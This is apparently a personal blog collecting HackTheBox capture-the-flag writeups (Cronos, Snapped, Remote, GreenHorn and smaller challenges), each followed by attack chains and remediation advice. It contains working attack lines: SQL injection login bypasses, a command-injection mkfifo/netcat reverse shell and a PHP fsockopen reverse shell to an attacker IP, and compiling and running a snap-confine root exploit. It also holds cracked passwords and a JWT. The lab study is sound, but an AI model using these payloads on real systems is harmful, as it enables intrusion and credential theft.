kami@kali:~$ journalctl
-
Que onda writeup
Que onda writeup
Challenge name: Que onda
Difficulty: Very Easy
Challenge Scenario: Que onda! Welcome to the festival of Pwn! This is a small guide to help you continue your journey, follow the instructions in README.txt
Link: https://app.hackthebox.com/challenges/Que%2520onda?tab=play_challenge
Machine IP: 154.57.164.76:32169
Downloaded the files and read the README.

Downloaded the tools. Netcated to the ip and port and inputted flag and I received the flag.
nc 154.57.164.76 32169


GG
-
Cronos writeup
Cronos writeup
Box name: Cronos
Difficulty: Medium
OS: Linux
Overview: CronOS focuses mainly on different vectors for enumeration and also emphasises the risks associated with adding world-writable files to the root crontab. This machine also includes an introductory-level SQL injection vulnerability.
Link: https://app.hackthebox.com/machines/Cronos?sort_by=created_at&sort_type=desc
Machine IP: 10.129.227.211
Ran rustscan against the machine.
rustscan -a 10.129.227.211 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver and its a Default apache server.

Ran feroxbuster.
feroxbuster -u http://10.129.227.211 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
Feroxbuster not finding anything right away. SSH is an older version and there is a CVE for that but I’ll try that last as I doubt that’s the path. Nothing interesting from port 53 DNS. Rerunning rustscan and also checking udp ports. I got stuck here and peeked at the write. I guess I wasn’t using nslookup properly to get a useful response.
nslookup 10.129.227.211 10.129.227.211

Added that to /etc/hosts. With this new information if we dig it we get another subdomain.

This brings us to a basic log in. Added admin.cronos.htb to /etc/hosts and navigated to it.

I was able to log in using SQL injection.
UserName: ‘ or 1=1 — –
Password: t
On successful log in it brings us to some Net Tool.

It successfully pings me using the ping option and my ip address. I piped id and that also worked.

Wanted to see if there is netcat on the device by piping which nc and that worked.

Let’s try to get a reverse shell. Set up a listener. Tried a few from revshells and I was able to get a shell.
8.8.8.8|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.27 1337 >/tmp/f

Stabilized my shell.
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
# Ctrl + Z
stty raw -echo; fg
# hit space
export TERM=xtermPoked around and it looks like the main site runs laravel and has a mysql database.

I couldn’t find any creds. Checked /home and there is another user that we can get user.txt from.

Did more local enumeration. Eventually I saw that there was a cronjob running a script as root.

We can edit this file.

Tried changing it to a bash revshell then realized it’s running php from the cronjob. Editing the file to:
<?php $sock=fsockopen(“10.10.16.27”,1338);exec(“sh <&3 >&3 2>&3”);
And we got a shell as root.


GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 53 (DNS), and 80 (HTTP). Browsed to port 80 and found a default Apache page. Ran feroxbuster with no useful results. Noted an older SSH version but deprioritized it. Used nslookup against the machine’s own DNS server to resolve the hostname and discovered cronos.htb. Added it to /etc/hosts and used dig to enumerate subdomains, finding admin.cronos.htb.
rustscan -a 10.129.227.211 –ulimit 5000 -b 2000 — -A -Pn nslookup 10.129.227.211 10.129.227.211 feroxbuster -u http://10.129.227.211 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion
2 – SQL injection authentication bypass Navigated to admin.cronos.htb and found a login page. Bypassed authentication using a classic SQL injection payload and logged in without valid credentials. The admin panel exposed a Net Tool with ping and traceroute functionality.
Username: ‘ or 1=1 — –
3 – Initial Access – command injection in Net Tool Tested the ping functionality and confirmed it was passing input directly to a system command. Piped id and confirmed command injection. Confirmed netcat was present on the system. Used a mkfifo reverse shell payload to obtain an interactive shell as www-data.
8.8.8.8|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.27 1337 >/tmp/f
4 – User flag Stabilized the shell and enumerated /home. Found another user with user.txt accessible. Retrieved user.txt.
5 – Privilege Escalation – writable root crontab script Enumerated running cron jobs and identified a PHP script being executed as root on a schedule. The script file was world-writable. Replaced the contents with a PHP reverse shell payload, set up a listener, and waited for the cron job to execute. Received a root shell. Retrieved root.txt.
<?php $sock=fsockopen(“10.10.16.27”,1338);exec(“sh <&3 >&3 2>&3”);
Key Takeaways
- SQL injection authentication bypass on admin panel – CWE-89 – The admin login form passed user-supplied input directly into a SQL query without sanitization, allowing complete authentication bypass with a classic OR 1=1 payload. All database queries must use parameterized statements and admin panels must implement additional authentication controls beyond a single login form.
- DNS zone transfer or subdomain enumeration revealing admin panel – The admin subdomain was only discoverable by querying the machine’s own DNS server, which returned zone data exposing internal hostnames. DNS servers must be configured to restrict zone transfers to authorized secondary servers only and internal subdomains must not be discoverable through unauthenticated DNS queries.
- Command injection in Net Tool – CWE-78 – The ping and traceroute functionality passed user input directly to a system command with no sanitization, allowing arbitrary OS command execution via pipe characters. All input that interacts with system commands must be validated against a strict allowlist and commands must be executed using safe API calls rather than shell execution.
- World-writable file executed by root cron job – A PHP script owned by or writable by a non-root user was scheduled to run as root via crontab. Any file executed by a privileged process must be owned by root and must not be writable by any other user. Root crontab entries must be audited regularly for world or group writable scripts.
- Admin panel exposed on a discoverable subdomain with no additional protection – The admin panel was accessible directly from the network with no IP restriction, VPN requirement, or additional authentication layer. Administrative interfaces must be restricted to authorized management networks and must never be reachable from untrusted hosts.
Remediation
[Immediate] Remediate the SQL injection vulnerability – CWE-89 Rewrite all database queries in the admin panel and any other application using parameterized queries or prepared statements. Conduct a full code audit of the Laravel application for any additional SQL injection points. Deploy a WAF with SQL injection detection rules as a compensating control during remediation.
[Immediate] Remediate the command injection vulnerability – CWE-78 Rewrite the Net Tool functionality to use safe API calls with no shell execution. Validate all user-supplied input against a strict allowlist of permitted IP address formats. If ping and traceroute functionality is not operationally required, remove it entirely from the application.
[Immediate] Fix permissions on all root crontab scripts Audit all scripts referenced in root crontab entries and set them to be owned by root with mode 755 or stricter. Remove write access for all non-root users. Implement file integrity monitoring on all cron-executed scripts to alert on unauthorized modifications.
[Immediate] Restrict DNS zone transfers Configure the DNS server to allow zone transfers only to explicitly authorized secondary DNS servers. Disable recursive queries for external clients. Audit all DNS records for internal subdomains that should not be publicly discoverable and remove or restrict any that expose internal infrastructure.
[Short-term] Restrict access to the admin panel Apply firewall rules restricting access to admin.cronos.htb to specific authorized management IP addresses. Require VPN access for all administrative interfaces. Implement MFA on the admin login page and enforce account lockout after failed authentication attempts.
[Long-term] Implement a secure development lifecycle for web applications SQL injection and command injection are well-understood vulnerability classes that must be caught before deployment. Integrate SAST tooling into the CI/CD pipeline, conduct regular web application penetration tests, and train developers on secure coding practices covering parameterized queries, input validation, and safe system command execution.
- SQL injection authentication bypass on admin panel – CWE-89 – The admin login form passed user-supplied input directly into a SQL query without sanitization, allowing complete authentication bypass with a classic OR 1=1 payload. All database queries must use parameterized statements and admin panels must implement additional authentication controls beyond a single login form.
-
Snapped writeup
Snapped writeup
Box name: Snapped
Difficulty: Hard
OS: Linux
Overview: Snapped is a hard-difficulty machine that features two recent CVEs. The foothold showcases CVE-2026-27944 in Nginx-UI, which exposes the /api/backup endpoint without authentication. The endpoint will produce a full backup of the nginx and nginx-UI configuration files, and includes the key to decrypt the backup in the response headers. This leads to finding and decrypting a weak user password from the Nginx-UI database file. Root exploits CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. After the system’s cleanup daemon deletes a stale mimic directory under /tmp, the attacker recreates it with controlled content and single-steps snap-confine’s execution via AF_UNIX socket backpressure to win the race during the mimic bind-mount sequence reliably. This poisons the sandbox’s shared libraries, enabling dynamic linker hijacking on the SUID-root snap-confine binary to compromise the system.
Link: https://app.hackthebox.com/machines/Snapped?sort_by=created_at&sort_type=desc
Machine IP: 10.129.3.225
Ran rustscan against the machine.
rustscan -a 10.129.3.225 –ulimit 5000 -b 2000 — -A -Pn

Added snapped.htb to /etc/hosts. Navigated to the site and also nginx version looked interesting so I looked that up. No robots or sourcecode. Running vhost fuzz with ffuf and directory bust with feroxbuster while I read more about the nginx version.
feroxbuster -u http://10.129.3.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
ffuf -u http://snapped.htb -H “Host: FUZZ.snapped.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302
Right away ffuf found admin.snapped.htb so I also ran ferox for that too.
feroxbuster -u http://admin.snapped.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
Time to read more about nginx UI and the nginx version 1.24.0.

Feroxbuster found a /version.json which gave us the version of Nginx UI. Nginx UI 2.3.2.

Found a few exploits but the most interesting looks like CVE-2026-27944 https://thecyberexpress.com/cve-2026-27944-nginx-ui-backup-vulnerability/. “The vulnerability stems from the /api/backup endpoint in Nginx UI, which is accessible without any authentication controls.” When I navigated to http://admin.snapped.htb/api/backup/ it downloaded a backup.

It’s encrypted but it also gives us the key to decrypt in the header response. Here is a github exploit we can use https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762.
python poc.py –target http://admin.snapped.htb –out backup.bin –decrypt


Found a database.db in /backup_extracted/nginx-ui. Read it and we get users admin and jonathan and hashes.

jonathan:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
admin:$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvmg
Put them in hashes.txt and tried cracking with hashcat.
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
While that runs I read through the database.db again and his turns out to be an auth token.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoxLCJpc3MiOiJOZ2lueCBVSSIsInN1YiI6ImFkbWluIiwiZXhwIjoxNzc0MDE1NjUzLCJuYmYiOjE3NzM5MjkyNTMsImlhdCI6MTc3MzkyOTI1MywianRpIjoiMSJ9.3-xEVZ_gL5N9MH6QRtE3ROmyiPpNBT0gUeUxT9IyFts
We get jonathan’s password from hashcat.

Jonathan:linkinpark
Attempted to ssh first and we got it and grabbed user.txt.

Moved linpeas over to the victim machine and ran it.
sudo python3 -m http.server 8080
curl http://10.10.16.27:8080/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
From linpeas I saw a bunch of things related to snap and considering the box this has to be the path. Googled how to check its version.
snap version

Google exploits and it’s definitely vulnerable for LPE, CVE-2026-388 https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root. Found this exploit on github https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.
Downloaded it to my machine and compiled.
git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,–entry=_start -o librootshell.so librootshell_suid.c
Moved them over to the target.
python3 -m http.server 8080
wget http://10.10.16.27:8080/exploit
wget http://10.10.16.27:8080/librootshell.so
chmod +x exploit
Then ran it and we get root.
./exploit ./librootshell.so


GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added snapped.htb to /etc/hosts. Browsed to the site and noted the Nginx version. No robots.txt or interesting source code. Ran feroxbuster and ffuf VHOST fuzzing simultaneously. ffuf immediately found admin.snapped.htb. Ran a second feroxbuster against the admin subdomain which found /version.json, revealing Nginx UI 2.3.2.
rustscan -a 10.129.3.225 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.3.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion ffuf -u http://snapped.htb -H “Host: FUZZ.snapped.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302
2 – Unauthenticated backup download and decryption – CVE-2026-27944 Researched Nginx UI 2.3.2 and found CVE-2026-27944, an unauthenticated access vulnerability on the /api/backup endpoint. Navigating directly to the endpoint downloaded an encrypted backup archive. The decryption key was included in the response headers. Used a public PoC to decrypt the backup and extract its contents. Found a SQLite database at nginx-ui/database.db containing admin and jonathan user accounts with bcrypt hashes and an active JWT auth token for admin.
python poc.py –target http://admin.snapped.htb –out backup.bin –decrypt
3 – Hash cracking and SSH access Placed both bcrypt hashes in hashes.txt and cracked with Hashcat using rockyou. Jonathan’s hash cracked successfully. SSH’d in as jonathan and retrieved user.txt.
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Credentials recovered: jonathan:linkinpark
4 – Privilege Escalation – snap-confine TOCTOU race condition – CVE-2026-3888 Ran LinPEAS and identified multiple snap-related findings. Checked the snap version and confirmed it was vulnerable to CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. The exploit wins the race during snap-confine’s mimic bind-mount sequence by recreating a stale /tmp directory with controlled content and using AF_UNIX socket backpressure to single-step execution, poisoning the sandbox’s shared libraries and hijacking the dynamic linker on the SUID-root snap-confine binary. Compiled the exploit and shared library on the attack machine, transferred both to the target, and executed to obtain a root shell. Retrieved root.txt.
gcc -O2 -static -o exploit exploit_suid.c gcc -nostdlib -static -Wl,–entry=_start -o librootshell.so librootshell_suid.c ./exploit ./librootshell.so
Key Takeaways
- Unauthenticated backup endpoint exposing encrypted archive and decryption key – CVE-2026-27944 (CVSS 9.8 Critical) – The /api/backup endpoint in Nginx UI 2.3.2 required no authentication and returned both the encrypted backup and the decryption key in the same response, completely negating the encryption. Any API endpoint that handles sensitive data must require strong authentication. Returning a decryption key alongside encrypted data in the same response provides no security benefit.
- Version disclosure via /version.json – The Nginx UI version was readable from an unauthenticated endpoint, enabling immediate and precise exploit selection. Version disclosure endpoints must be removed or restricted to authenticated administrators in production deployments.
- JWT auth token stored in the application database – An active admin JWT was stored in the database file extracted from the backup, providing a secondary authentication path without requiring password cracking. JWT tokens must have short expiry windows and must be invalidated on logout. Storing active tokens in the database extends their exploitable lifetime.
- Weak password crackable with rockyou – Jonathan’s bcrypt hash was cracked using the rockyou wordlist. While bcrypt is an appropriate hashing algorithm, the underlying password was a common dictionary word. All user passwords must meet complexity requirements that make dictionary attacks infeasible regardless of the hashing algorithm in use.
- snap-confine TOCTOU race condition enabling root – CVE-2026-3888 (CVSS 7.8 High) – The snap version running was vulnerable to a local privilege escalation via a race condition in snap-confine’s mimic bind-mount sequence. Kernel and system package updates must be applied promptly and snap must be kept at a patched version. If snap is not operationally required, it should be removed entirely.
Remediation
[Immediate] Patch Nginx UI to remediate CVE-2026-27944 (CVSS 9.8 Critical) Update Nginx UI to the latest patched version immediately. Restrict access to the admin subdomain and all Nginx UI API endpoints to authorized management IP ranges via firewall rules. Audit all API endpoints for missing authentication controls and ensure no endpoint returns sensitive data to unauthenticated requests.
[Immediate] Patch snap to remediate CVE-2026-3888 (CVSS 7.8 High) Update snapd and snap-confine to the latest patched version immediately. If snap is not operationally required on the server, remove it entirely using apt purge snapd. Removing the attack surface entirely is preferable to patching where snap has no business justification on a server workload.
[Immediate] Rotate all credentials and tokens extracted from the backup The jonathan and admin password hashes and the admin JWT extracted from the database must all be considered fully compromised. Rotate all affected passwords, invalidate the JWT, and regenerate the application secret key. Audit the backup for any additional credentials, API keys, or configuration secrets.
[Immediate] Remove or authenticate the /api/backup endpoint Require strong authentication on the /api/backup endpoint and all other Nginx UI API endpoints. The decryption key must never be returned in the same response as the encrypted data. Implement separate key management so backup decryption requires a separate authenticated request with an authorized key.
[Short-term] Enforce strong passwords and disable weak password patterns Jonathan’s password was a common band name in the rockyou wordlist. Enforce a minimum password length of 14 characters with complexity requirements for all application and OS accounts. Deploy a banned password list blocking dictionary words and common phrases. Audit existing passwords against common wordlists and force resets where weak passwords are found.
[Long-term] Implement a web application and system component hardening baseline Define a hardening standard covering API authentication requirements, version disclosure endpoints, JWT lifecycle management, snap usage policy, and system package patch cadence. Include Nginx UI and similar web server management interfaces in regular vulnerability scans. Establish an SLA requiring critical and high severity patches to be applied within 72 hours of vendor release.
- Unauthenticated backup endpoint exposing encrypted archive and decryption key – CVE-2026-27944 (CVSS 9.8 Critical) – The /api/backup endpoint in Nginx UI 2.3.2 required no authentication and returned both the encrypted backup and the decryption key in the same response, completely negating the encryption. Any API endpoint that handles sensitive data must require strong authentication. Returning a decryption key alongside encrypted data in the same response provides no security benefit.
-
Remote writeup
Remote writeup
Box name: Remote
Difficulty: Easy
OS: Windows
Overview: Remote is an easy difficulty Windows machine that features an Umbraco CMS installation. Credentials are found in a world-readable NFS share. Using these, an authenticated Umbraco CMS exploit is leveraged to gain a foothold. A vulnerable TeamViewer version is identified, from which we can gain a password. This password has been reused with the local administrator account. Using psexec with these credentials returns a SYSTEM shell.
Link: https://app.hackthebox.com/machines/Remote?sort_by=created_at&sort_type=desc
Machine IP: 10.129.3.206
Ran rustscan against the machine.
rustscan -a 10.129.3.206 –ulimit 5000 -b 2000 — -A -Pn

Checked out ftp as anonymous first. I don’t see any files in passive or active mode.

Checked out port 445 but nothing there.
netexec smb 10.129.3.206 -u “” -p “” –shares

Nothing on port 5985 or 47001 when attempting to navigate to it. Scanning NFS on port 2049.
sudo nmap –script nfs* 10.129.3.206 -sV -p111,2049
While that happens I’m just curious if I put a txt file in ftp if I can see it on one of the http sites but unfortunately put is denied. Got nmap scan back for nfs.

My first rustscan somehow missed a couple of ports but currently not sure if that matters. Let’s try mounting the site_backups.
mkdir test
sudo mount -t nfs 10.129.3.206:/site_backups ./test -O nolock

I poked at the Web.config file to see if anything was in there. Realized I don’t even know what I’m looking at. Searched Umbraco and thats the CMS name. Googled for where credential files possibly be found then read it.

Put the hashes in hashes.txt and attempted to crack with hashcat.
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt
admin/administrator:baconandcheese

Smith is actually salted and different. Put his hash in hash2.txt
hashcat -m 1450 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt
That didn’t work. Tried another mode.
hashcat -m 1460 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt
That also found. I don’t believe thats an issue as we got admin, let’s just be aware that account exists. I rescanned with nmap as I was confused that I could get all this but saw nothing on the other open http ports.

And apparently my first rustscan missed port 80.

Ran feroxbuster.
feroxbuster -u http://10.129.3.206 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
While that finds out more I’ll check out the earlier ports with our new credentials. Didn’t find anything with that. Feroxbuster found a lot in the meantime. Got a login page at http://10.129.3.206/umbraco/#/login.

I could not get in using that password with admin, Administrator or smith. Did some research and we can find version in the web.config file.

This version is vulnerable to EDB-ID 49488 https://www.exploit-db.com/exploits/49488. Found a github here https://github.com/noraj/Umbraco-RCE. The problem is we aren’t authenticated to the site. I went back to try more stuff and I was actually able to get in with admin@htb.local:baconandcheese. Downloaded the exploit and the requirements and ran it.
python exploit.py -u admin@htb.local -p baconandcheese -i ‘http://10.129.3.206/’ -c ipconfig

And that worked. Now to get a shell. I used revshells.com Powershell #3 (Base64) and that worked.

Did some quick manual enumeration before throwing winpeas on there. I noticed TeamViewer which is typically not on these boxes. Did some research and found a registry we can peep at.
reg query “HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7”

Did some research and ended up finding this github https://github.com/S12cybersecurity/Decrypt-TeamViewer-Password. This is specifically for the box but whatever. Followed the exact post and get the password.
python3 password.py

Port 5985 is open so I will attempt evil-winrm.
evil-winrm -u admin -p ‘!R3m0te!’ -i 10.129.3.206
That didn’t work, tried Adminstrator and we got in.
evil-winrm -u Administrator -p ‘!R3m0te!’ -i 10.129.3.206

Grabbed all the flags.

GG
Attack Chain
1 – Reconnaissance Ran RustScan but the initial scan missed several ports including 80. Identified FTP, SMB, NFS on port 2049, and WinRM. FTP anonymous access returned no files. SMB guest access returned no readable shares. Rescanned with Nmap and confirmed port 80 running an Umbraco CMS. Ran feroxbuster and found an Umbraco login page at /umbraco/#/login.
rustscan -a 10.129.3.206 --ulimit 5000 -b 2000 -- -A -Pnsudo nmap --script nfs* 10.129.3.206 -sV -p111,2049feroxbuster -u http://10.129.3.206 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config --force-recursion2 – NFS share access and credential extraction Identified a world-readable NFS share called site_backups. Mounted it and explored the contents. Located the Umbraco database file and found password hashes for admin and smith accounts. Cracked the admin SHA1 hash with Hashcat using rockyou. The smith hash used salted HMAC and could not be cracked.
sudo mount -t nfs 10.129.3.206:/site_backups ./test -O nolockhashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txtCredentials recovered:
admin@htb.local:baconandcheese3 – Initial Access – Umbraco authenticated RCE – EDB-49488 Located the Umbraco version in the web.config file from the NFS share and identified it as vulnerable to EDB-49488. Authenticated to the Umbraco admin panel with admin@htb.local. Used the public RCE exploit to confirm command execution via ipconfig then used a base64 encoded PowerShell reverse shell to obtain an interactive shell.
python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.129.3.206/' -c ipconfig4 – Privilege Escalation – TeamViewer encrypted password extraction Manual enumeration identified TeamViewer installed on the machine which is unusual for an HTB box. Queried the TeamViewer Version7 registry key and found an encrypted password value. Used a public TeamViewer password decryption script to recover the plaintext.
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7"Password recovered:
!R3m0te!5 – Administrator access via password reuse Tried the recovered password against multiple accounts via evil-winrm. Authentication succeeded for the Administrator account. Retrieved both
user.txtandroot.txt.evil-winrm -u Administrator -p '!R3m0te!' -i 10.129.3.206
Key Takeaways
- World-readable NFS share exposing application database and credentials – The site_backups NFS share was mountable without authentication and contained the full Umbraco database including password hashes. NFS exports must require authentication, be restricted to specific trusted client IPs, and must never expose application databases or backup files.
- Umbraco authenticated RCE – EDB-49488 – The Umbraco version was vulnerable to a known authenticated RCE exploit with a public PoC. CMS platforms must be kept fully patched and version information must not be disclosed in publicly accessible configuration files or NFS shares.
- Password hash crackable with rockyou – The admin SHA1 hash was cracked using the rockyou wordlist. SHA1 is not a suitable algorithm for password storage. Umbraco and all web applications must store passwords using a modern adaptive hashing algorithm such as bcrypt or Argon2.
- TeamViewer storing encrypted credentials in the registry – TeamViewer Version 7 stored a recoverable encrypted password in a well-known registry key using a static encryption key. Any application storing credentials in the registry with a known decryption method provides no meaningful protection. TeamViewer must be updated to a supported version and credentials must be managed through a PAM solution.
- Password reuse between TeamViewer and the local Administrator account – The password recovered from TeamViewer was reused for the Windows Administrator account, resulting in immediate full system compromise. Passwords must be unique across every account and service without exception and the local Administrator password must be managed via Windows LAPS.
Remediation
[Immediate] Remove or restrict the site_backups NFS share Disable the NFS export or restrict it to specific trusted management IPs immediately. NFS shares must require Kerberos authentication and must never expose application databases, backup files, or configuration data. Rotate all credentials found in the mounted share.
[Immediate] Patch Umbraco to remediate EDB-49488 Update Umbraco to the latest supported version immediately. Restrict access to the Umbraco admin panel to authorized IP ranges. Audit all other web applications on the host for outstanding vulnerabilities and apply patches within the established SLA.
[Immediate] Replace SHA1 password hashing in Umbraco Migrate Umbraco to use a modern adaptive hashing algorithm such as bcrypt for all stored passwords. Force a password reset for all accounts after migration. The cracked admin credential must be rotated immediately.
[Immediate] Update or remove TeamViewer and rotate recovered credentials Update TeamViewer to the latest supported version which does not store credentials using a static encryption key. If TeamViewer is not operationally required, remove it entirely. Rotate the !R3m0te! password on all accounts where it was in use and audit all other systems for reuse of this credential.
[Immediate] Deploy Windows LAPS for local Administrator password management Implement Windows LAPS across all domain-joined machines to automatically generate, rotate, and store unique local Administrator passwords. The Administrator password must never be shared across systems or reused with any service or application account.
[Short-term] Enforce unique passwords across all accounts and services The TeamViewer credential was reused for the local Administrator account. Enforce a policy requiring unique passwords per account and per service. Conduct a credential audit across all systems to identify shared passwords and force resets where reuse is found.
[Long-term] Implement an application inventory and hardening baseline for Windows endpoints Audit all software installed on Windows servers including remote access tools such as TeamViewer, VNC, and similar applications. Any tool storing credentials locally must be assessed for known decryption vulnerabilities. Define a hardening standard covering NFS export restrictions, CMS patch cadence, local Administrator password management, and remote access tool governance. Include all identified services in regular vulnerability scans and penetration tests.
-
sanitize writeup
sanitize writeup
Challenge name: sanitize
Difficulty: Easy
Challenge Scenario: Can you escape the query context and log in as admin at my super secure login page?
Link: https://app.hackthebox.com/challenges/sanitize?tab=play_challenge
Machine IP: 154.57.164.83:32652
Navigated to the site and its a login form.

Right away looks like sql injection.
‘ OR 1 = 1 –
And it responded with this (realized later that my notes had an emdash instead of 2 hyphens for commenting).

Fixed commentating and it worked and I got the flag.
‘ or 1=1 — –

GG
-
MinMax writeup
MinMax writeup
Challenge name: MinMax
Difficulty: Easy
Challenge Scenario: In a haunted graveyard, spirits hide among the numbers. Can you identify the smallest and largest among them before they vanish?
Link: https://app.hackthebox.com/challenges/MinMax?tab=play_challenge
Machine IP: 154.57.164.80:32366
Navigated to the site and it’s a coding challenge for minimum and maximum.

Took a bit of time as my coding is rust (my main issue was I wasn’t parsing the input properly) but I eventually got to this code and got the flag.


GG
-
Getting Started writeup
Getting Started writeup
Challenge name: Getting Started
Difficulty: Very Easy
Challenge Scenario: Get ready for the last guided challenge and your first real exploit. It’s time to show your hacking skills.
Link: https://app.hackthebox.com/challenges/Getting%2520Started?tab=play_challenge
Machine IP: 154.57.164.64:31934
Navigated to the site and right away it looks like its asking us to do a buffer overflow and show us what address we should be changing.

Downloaded the files that came with the challenge. It gives us a pwntool script and the binary.

Edited the code since it tells us the target is at 48bytes and put in the IP and port. Ran it and it gave me the flag.

GG
-
GreenHorn writeup
GreenHorn writeup
Box name: GreenHorn
Difficulty: Easy
OS: Linux
Overview: GreenHorn is an easy difficulty machine that takes advantage of an exploit in Pluck to achieve Remote Code Execution and then demonstrates the dangers of pixelated credentials. The machine also showcases that we must be careful when sharing open-source configurations to ensure that we do not reveal files containing passwords or other information that should be kept confidential.
Link: https://app.hackthebox.com/machines/GreenHorn?sort_by=created_at&sort_type=desc
Machine IP: 10.129.2.123
Ran rustscan against the machine.
rustscan -a 10.129.2.123 –ulimit 5000 -b 2000 — -A -Pn

Checked out port 80. Added greenhorn.htb to /etc/hosts.

It looks like this is ran on pluck. Ran vhost and feroxbuster.
feroxbuster -u http://greenhorn.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
ffuf -u http://greenhorn.htb -H “Host: FUZZ.greenhorn.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302
Feroxbuster found a few things. /login.php looks most interesting.

We got a version pluck 4.7.18. This is vulnerable to EDB-ID 51592 for RCE https://www.exploit-db.com/exploits/51592. I have no creds yet and there doesn’t appear to be anything else here. Checked out port :3000 and it’s a Gitea service version 1.21.11

I haven’t seen this before, so I clicked around and in Explore it shows its connected to the other site.

Clicked around the repository.

I ended up finding a hash after poking around.

Looks like it’s SHA-512. Tried cracking with hashcat.
hashcat -m 1700 hash.txt /usr/share/wordlists/rockyou.txt

Iloveyou1
Now that we have a password I found a prewritten code https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC/blob/main/poc.py.
Read and downloaded the script. Create a shell.php, zipped it and ran it and we get a shell as www-data.

Read /etc/passwd and there is a user junior.

Tried the same password we already have and it actually worked.

Got user.txt and there is also a .pdf file in juniors directory.

Moving it to my own device I encoded it.
cat ‘Using OpenVAS.pdf’|base64 -w 0;echo
Decoded it on my machine and put it in greenhorn.pdf.
cat decode.txt| base64 -d; echo
When reading it there is a password blurred.

Disconnected the image from the pdf.
pdfimages greenhorn.pdf imagess
Found a tool to depixelize it https://github.com/spipm/Depixelization_poc. Tried a bunch of search images and this worked.
python3 depix.py -p /home/kami/Fknhack/imagess-000.ppm -s /home/kami/Fknhack/Depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o out.png

I didn’t know what this even meant so I just tried it as a password for root and it worked.


GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 3000 (Gitea). Added greenhorn.htb to /etc/hosts. Browsed to port 80 and found a Pluck CMS site. Ran feroxbuster and ffuf VHOST fuzzing. Feroxbuster found /login.php which revealed Pluck version 4.7.18.
rustscan -a 10.129.2.123 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://greenhorn.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion ffuf -u http://greenhorn.htb -H “Host: FUZZ.greenhorn.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302
2 – Gitea repository and hash extraction Browsed to the Gitea instance on port 3000 running version 1.21.11. Found it was connected to the main site. Explored public repositories and found a SHA-512 password hash stored in a file. Cracked it with Hashcat using rockyou.
hashcat -m 1700 hash.txt /usr/share/wordlists/rockyou.txt
Password recovered: iloveyou1
3 – Initial Access – Pluck 4.7.18 RCE – CVE-2023-50564 / EDB-51592 Authenticated to the Pluck admin panel with the recovered password. Used a public PoC for CVE-2023-50564 which created a malicious PHP shell, zipped it, and uploaded it through the Pluck module installer to achieve code execution as www-data.
4 – Lateral movement via password reuse Found a user junior in /etc/passwd. Tried the same password on the junior account and it worked. Retrieved user.txt and found a PDF file in junior’s home directory.
Credentials: junior:iloveyou1
